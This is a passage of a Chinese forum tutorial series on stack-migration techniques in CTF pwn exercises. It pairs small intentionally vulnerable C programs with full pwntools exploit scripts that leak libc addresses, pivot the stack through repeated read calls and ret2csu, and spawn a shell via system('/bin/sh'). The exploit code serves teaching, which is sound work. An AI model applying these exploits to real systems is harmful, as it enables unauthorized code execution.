说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm
7.puts 战神再出征——左右横跳之二(question_8)
前面这么多的题目让我们有明显的感触,puts 函数就是一个毒瘤。
puts函数会抬高0x80左右的栈帧。这对对布栈选取位置有更高的要求,它会让你布置好的数据全部实效。puts函数执行后会修改寄存器。其中最重要的是将rdx赋值为0,那么即使我们使用call read流程,仍然无法持续输入。
那么如果想用上面的左右横跳,就必须在高地址布置栈帧,在低地址布置栈帧则必定会被puts栈帧修改覆盖,题目如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <stdio.h>#include <stdlib.h>#include <unistd.h>int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0;}int dofunc(){ char b[8] ; read(0,b,0x20); puts("byebye!"); return 0;}int main(){ init_func(); dofunc(); return 0;}//gcc migration_13.c -fno-stack-protector -no-pie -o migration_13_x64 |

脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | from pwn import *import duchao_pwn_scriptfrom sys import argvimport argparses = lambda data: io.send(data)sa = lambda delim, data: io.sendafter(delim, data)sl = lambda data: io.sendline(data)sla = lambda delim, data: io.sendlineafter(delim, data)r = lambda num=4096: io.recv(num)ru = lambda delims, drop=True: io.recvuntil(delims, drop)itr = lambda: io.interactive()uu32 = lambda data: u32(data.ljust(4, '\0'))uu64 = lambda data: u64(data.ljust(8, '\0'))leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))if __name__ == '__main__': pwn_arch ='amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_13_x64' io = process(pwnfile) # io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile deadbeef =0xdeadbeef read_got = elf.got["read"] read_sym = elf.symbols["read"] puts_sym = elf.symbols['puts'] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] rep_func = elf.symbols['dofunc'] leave_ret = 0x4011D6 call_read_addr = 0x4011aF ret = 0x4011D7 pop_rdi_ret = 0x40125b target1_rbp = elf.bss()+0x400 addr_tmp = target1_rbp + 0x100 next_rbp_addr = target1_rbp + 0x300 bin_sh_addr = next_rbp_addr + 0x200 padding2rbp = 0x8 nead_padding2rbp = 0x10 call_read_len = 0x20 stack_over_flow = call_read_len - padding2rbp # 一、迁移 rbp_1 = target1_rbp payload1 = flat(['a' * padding2rbp , rbp_1 , call_read_addr]) #pause() sleep(0.5) delimiter = 'byebye!\n' s(payload1) # 二、布栈 payload = flat([pop_rdi_ret , leak_func_got , puts_sym , rep_func]) for i in range(len(payload)//8): ''' +----------+ +----------+ | | | | +----------+ +----------+ | deadbeef | | deadbeef | +----------+ +----------+rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| +----------+ +----------+ | call read| | call read| +----------+ +----------+ | gadgat_1 | | | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ ''' rbp_2 = addr_tmp payload2 = flat([ deadbeef , rbp_2 , call_read_addr , payload[len(payload)-(8*i)-8:len(payload)-(8*i)] ]) #pause() sleep(0.5) sa(delimiter,payload2) ''' +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ | deadbeef | | deadbeef | | deadbeef | | deadbeef | +----------+ +----------+ +----------+ +----------+ rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1-0x8| +----------+ +----------+ +----------+ +----------+ | call read| | call read| =======> | call read| | call read| +----------+ +----------+ +----------+ +----------+ | gadgat_1 | | | | gadgat_1 | | | +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ ''' payload3 = flat([ deadbeef ,rbp_1 - 8*(i+1) , call_read_addr ]) #pause() sleep(0.5) sa(delimiter,payload3) #duchao_pwn_script.dbg(io) payload4 = flat([ ret , ret , ret , ret ]) sa(delimiter,payload4) ru('byebye!\n') #pause() leak_func_addr = u64(r(6).ljust(8,b'\x00')) # 不同接受代码接受数量不同 print(hex(leak_func_addr)) # 以下代码为查找system及/bin/sh的地址 system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) print(hex(system_addr)) print(hex(binsh_addr)) # 三、换个姿势再来一次 rbp_1 = next_rbp_addr payload1 = flat(['a' * padding2rbp , rbp_1 , call_read_addr]) #pause() sleep(0.5) delimiter = 'byebye!\n' s(payload1) payload = flat([pop_rdi_ret , binsh_addr , ret , system_addr]) for i in range(len(payload)//8): ''' +----------+ +----------+ | | | | +----------+ +----------+ | gadgat_1 | | deadbeef | +----------+ +----------+rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| +----------+ +----------+ | call read| | call read| +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ ''' rbp_2 = addr_tmp payload2 = flat([ deadbeef , rbp_2 , call_read_addr , payload[len(payload)-(8*i)-8:len(payload)-(8*i)] ]) #pause() sleep(0.5) sa(delimiter,payload2) ''' +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ | gadgat_1 | | deadbeef | | gadgat_1 | | deadbeef | +----------+ +----------+ +----------+ +----------+ rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| rbp_1 ->| gadgat_2 | rbp_2 ->| rbp_1+0x8| +----------+ +----------+ +----------+ +----------+ | call read| | call read| =======> | rbp_2 | | call read| +----------+ +----------+ +----------+ +----------+ | | | | | call read| | | +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ ''' payload3 = flat([ deadbeef ,rbp_1 - 8*(i+1) , call_read_addr ]) #pause() sleep(0.5) sa(delimiter,payload3) #duchao_pwn_script.dbg(io) payload4 = flat([ ret , ret , ret , ret ]) sa(delimiter,payload4) itr() |
8.左右横跳之蛇形前进(question_9)
我们把左右横跳之二再加大一些难度,如果仍是8+8的模式,该如何处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <stdio.h>#include <stdlib.h>#include <unistd.h>int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0;}int dofunc(){ char b[8] ; read(0,b,0x18); puts("byebye!"); return 0;}int main(){ init_func(); dofunc(); return 0;}//gcc migration_13.c -fno-stack-protector -no-pie -o migration_13_x64 |
要解决这个必须,必须巧妙利用call read的各种流程。call read在程序中汇编如下。

- 第0步和第2步指定写入位置
- 第1步指定写入长度
- 第3步指定写入的文件描述符
- 第4步调用read
在使用call调用函数时,会在栈中压入返回地址,如果调用的函数是输入函数且输入的地址能够覆写压入的地址,就能够在返到我写入的地址处。如下图。需要注意:此时gdb无法n步过call read,必须s进入。

在call read的汇编中,调用第3处或第4处位置时,可以不修改写入的位置,既可以对原来的位置重复写入,在栈确定的情况下,结合call read移形换影可以实现在高地址逐步布置栈帧。为了确保rdi为0,我选取第3处为利用点。流程如下图。

说明:c_r_0为call read0处,c_r_3为call read3处。
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | from pwn import *import duchao_pwn_scriptfrom sys import argvimport argparses = lambda data: io.send(data)sa = lambda delim, data: io.sendafter(delim, data)sl = lambda data: io.sendline(data)sla = lambda delim, data: io.sendlineafter(delim, data)r = lambda num=4096: io.recv(num)ru = lambda delims, drop=True: io.recvuntil(delims, drop)itr = lambda: io.interactive()uu32 = lambda data: u32(data.ljust(4, '\0'))uu64 = lambda data: u64(data.ljust(8, '\0'))leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))if __name__ == '__main__': pwn_arch ='amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_14_v2_x64' io = process(pwnfile) # io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) libcfile = '/lib/x86_64-linux-gnu/libc.so.6' context.binary = pwnfile deadbeef =0xdeadbeef read_got = elf.got["read"] read_sym = elf.symbols["read"] puts_sym = elf.symbols['puts'] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] rep_func = elf.symbols['dofunc'] csu_front_addr = 0x401238 leave_ret = 0x4011D6 call_read_addr_0 = 0x4011aF # lea rax, [rbp+buf] call_read_addr_1 = call_read_addr_0 + 4 # set rdx call_read_addr_2 = call_read_addr_1 + 5 # set rsi = rax call_read_addr_3 = call_read_addr_2 + 3 # set rdi = 0 call_read_addr_4 = call_read_addr_3 + 5 # call read call_read_addr = call_read_addr_0 ret = 0x4011D7 pop_rdi_ret = 0x40125b target1_rbp = elf.bss() + 0x500 addr_tmp = target1_rbp + 0x100 next_rbp_addr = target1_rbp + 0x300 bin_sh_addr = next_rbp_addr + 0x200 padding2rbp = 0x40 nead_padding2rbp = 0x10 call_read_len = 0x20 stack_over_flow = call_read_len - padding2rbp # 一、迁移 rbp_1 = target1_rbp payload = flat(['a' * padding2rbp , rbp_1 , call_read_addr]) #pause() sleep(0.5) delimiter = 'byebye!\n' s(payload) ru(delimiter) # duchao_pwn_script.dbg(io) call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x30} payload_ret2csu = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' ) payload_final = flat([pop_rdi_ret , leak_func_got , puts_sym ]) + payload_ret2csu + p64(leave_ret) len_payload_final = len(payload_final) # call read 移形换影布置栈帧 for i in range(len_payload_final//8): # 第一步 ''' +----------+ | | +----------+ | deadbeef | +----------+ rbp_1 ->| rbp_1 | +----------+ | c_r_0 | +----------+ | | +----------+ ''' sleep(0.5) payload = flat(['a' * padding2rbp, rbp_1 - 8*i , call_read_addr]) s(payload) # 因为调 call_read 所以会有一个 delimiter ru(delimiter) # 第二步 ''' +----------+ +----------+ | | | | +----------+ +----------+ | | rbp_1-0x10->| | +----------+ +----------+ | deadbeef | | c_r_3 | +----------+ +----------+ rbp_1 ->| rbp_1 | rbp_1 ->|rbp_1-0x10| +----------+ +----------+ | c_r_0 | =======> | leave_ret| +----------+ +----------+ | | | | +----------+ +----------+ ''' sleep(0.5) payload = flat(['a' * (padding2rbp - 8), call_read_addr_3 , rbp_1 - 0x10 - 0x8*i , leave_ret]) s(payload) # 第三步 ''' +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ | | rbp_1-0x10->| | rbp_1-0x10->| | +----------+ +----------+ +----------+ | deadbeef | | c_r_3 | | rep_func | +----------+ +----------+ +----------+ rbp_1 ->| rbp_1 | rbp_1 ->|rbp_1-0x10| | deadbeef | +----------+ +----------+ +----------+ | c_r_0 | =======> | leave_ret| =======> | gadget_1 | +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ ''' # duchao_pwn_script.dbg(io) sleep(0.5) payload = flat(['a' * (padding2rbp - 8), rep_func , deadbeef , payload_final[len_payload_final - (8 * i) - 8 : len_payload_final - (8 * i)]]) s(payload) duchao_pwn_script.dbg(io) payload = flat(['a' * padding2rbp , rbp_1 - 0x8 * (len_payload_final//8) , ret]) s(payload) ru(delimiter) # 以下代码为查找system及/bin/sh的地址 leak_func_addr = u64(r(6).ljust(8,b'\x00')) print(hex(leak_func_addr)) system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr ,path = libcfile) print(hex(system_addr)) print(hex(binsh_addr)) # duchao_pwn_script.dbg(io) sleep(0.5) payload = flat([next_rbp_addr ,pop_rdi_ret , binsh_addr , ret, system_addr]) s(payload) itr() |
9.再看非栈迁移(question_10)
我前面说过,迁移到非栈上,1次输入是在非栈上布置栈帧,另1次迁移至非栈上,两次顺序可以互换。我题目中都可是以 data+stack 这种顺序进行输入的,但如果将顺序变为 stack+data 是否有变化。我们既然有了左右横跳之法,那能不能使用呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #include <stdio.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#define LEN 0x20char migration[LEN]; //逐渐改变参数长度int init_func(){ setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); return 0;}int dofunc(){ char b[0x8] = {}; puts("input stack:"); read(0,b,0x10); //逐渐改变溢出长度 read(0,migration,LEN); puts("byebye"); return 0;}int main(){ init_func(); char byebye[]="byebye"; dofunc(); puts(byebye); return 0;}//gcc migration_12.c -fno-stack-protector -no-pie -o migration_12_x64 |
模仿左右横跳,不停利用call read布置栈帧

攻击脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 | from pwn import *import duchao_pwn_scriptfrom sys import argvimport argparses = lambda data: io.send(data)sa = lambda delim, data: io.sendafter(delim, data)sl = lambda data: io.sendline(data)sla = lambda delim, data: io.sendlineafter(delim, data)r = lambda num=4096: io.recv(num)ru = lambda delims, drop=True: io.recvuntil(delims, drop)itr = lambda: io.interactive()uu32 = lambda data: u32(data.ljust(4, '\0'))uu64 = lambda data: u64(data.ljust(8, '\0'))leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))if __name__ == '__main__': pwn_arch ='amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_12_x64' io = process(pwnfile) # io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile deadbeef =0xdeadbeef read_got = elf.got["read"] read_sym = elf.symbols["read"] puts_sym = elf.symbols['puts'] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] rep_func = elf.symbols['dofunc'] migration_addr = elf.symbols['migration'] leave_ret = 0x401200 call_read_buf_addr = 0x4011C3 call_read_migration_addr = 0x4011D9 ret = 0x401201 pop_rdi_ret = 0x4012Ab pop_rbp_ret = 0x401129 target1_rbp = elf.bss()+0x300 addr_tmp = target1_rbp + 0x100 next_rbp_addr = target1_rbp + 0x500 bin_sh_addr = next_rbp_addr + 0x200 padding2rbp = 0x8 nead_padding2rbp = 0x10 call_read_len = 0x20 stack_over_flow = call_read_len - padding2rbp # 一、迁移 rbp_1 = target1_rbp payload_buf = flat(['a' * padding2rbp , migration_addr ]) #pause() sleep(0.5) sa('input stack:\n',payload_buf) payload_migration = flat([rbp_1 , call_read_buf_addr ]) sleep(0.5) s(payload_migration) ru('byebye\n') #duchao_pwn_script.dbg(io) # 二、布栈 payload = flat([pop_rdi_ret , leak_func_got , puts_sym , rep_func , leave_ret]) for i in range(len(payload)//8): ''' +----------+ +----------+ migration -> | rbp_1 | | | +----------+ +----------+ | read buf | | gadgat_1 | +----------+ +----------+ | | rbp_1 ->| | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ ''' payload1 = flat([ payload[8*i:8*i+8] ]) #pause() sleep(0.5) s(payload1) payload2 = flat([ deadbeef , pop_rbp_ret , migration_addr , call_read_migration_addr ]) #pause() sleep(0.5) s(payload2) payload3 = flat([ rbp_1 + 8*(i+1) , call_read_buf_addr , deadbeef , leave_ret ]) #pause() sleep(0.5) s(payload3) payload1 = flat([ deadbeef ,deadbeef ]) #pause() sleep(0.5) s(payload1) payload2 = flat([ deadbeef , pop_rbp_ret , rbp_1 - 0x10 , leave_ret ]) #pause() sleep(0.5) s(payload2) #duchao_pwn_script.dbg(io) ru('\n') leak_func_addr = u64(r(6).ljust(8,b'\x00')) # 不同接受代码接受数量不同 print(hex(leak_func_addr)) # 以下代码为查找system及/bin/sh的地址 system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) print(hex(system_addr)) print(hex(binsh_addr)) # 三、换个姿势再来一次 #duchao_pwn_script.dbg(io) rbp_1 = next_rbp_addr payload_buf = flat(['a' * padding2rbp , migration_addr ]) #pause() sleep(0.5) sa('input stack:\n',payload_buf) payload_migration = flat([rbp_1 , call_read_buf_addr ]) sleep(0.5) #pause() s(payload_migration) ru('byebye\n') #duchao_pwn_script.dbg(io) payload = flat([pop_rdi_ret , binsh_addr , ret , system_addr]) for i in range(len(payload)//8): ''' +----------+ +----------+ | | | | +----------+ +----------+ | deadbeef | | deadbeef | +----------+ +----------+rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| +----------+ +----------+ | call read| | call read| +----------+ +----------+ | gadgat_1 | | | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ ''' payload1 = flat([ payload[8*i:8*i+8] ]) #pause() sleep(0.5) s(payload1) payload2 = flat([ deadbeef , pop_rbp_ret , migration_addr , call_read_migration_addr ]) #pause() sleep(0.5) s(payload2) payload3 = flat([ rbp_1 + 8*(i+1) , call_read_buf_addr , deadbeef , leave_ret ]) #pause() sleep(0.5) s(payload3) #duchao_pwn_script.dbg(io) payload1 = flat([ deadbeef ,deadbeef ]) #pause() sleep(0.5) s(payload1) payload2 = flat([ deadbeef , pop_rbp_ret , rbp_1 - 0x10 , leave_ret ]) #pause() sleep(0.5) s(payload2) itr() |
其他.read移形换影之进阶 —— ret2csu
利用 call read 移形换影将 ret2csu 将 减少为 0x40 字节
migration 0x48 b 0x10 -> ret2csu
migration 0x38 b 0x10 -> call read migration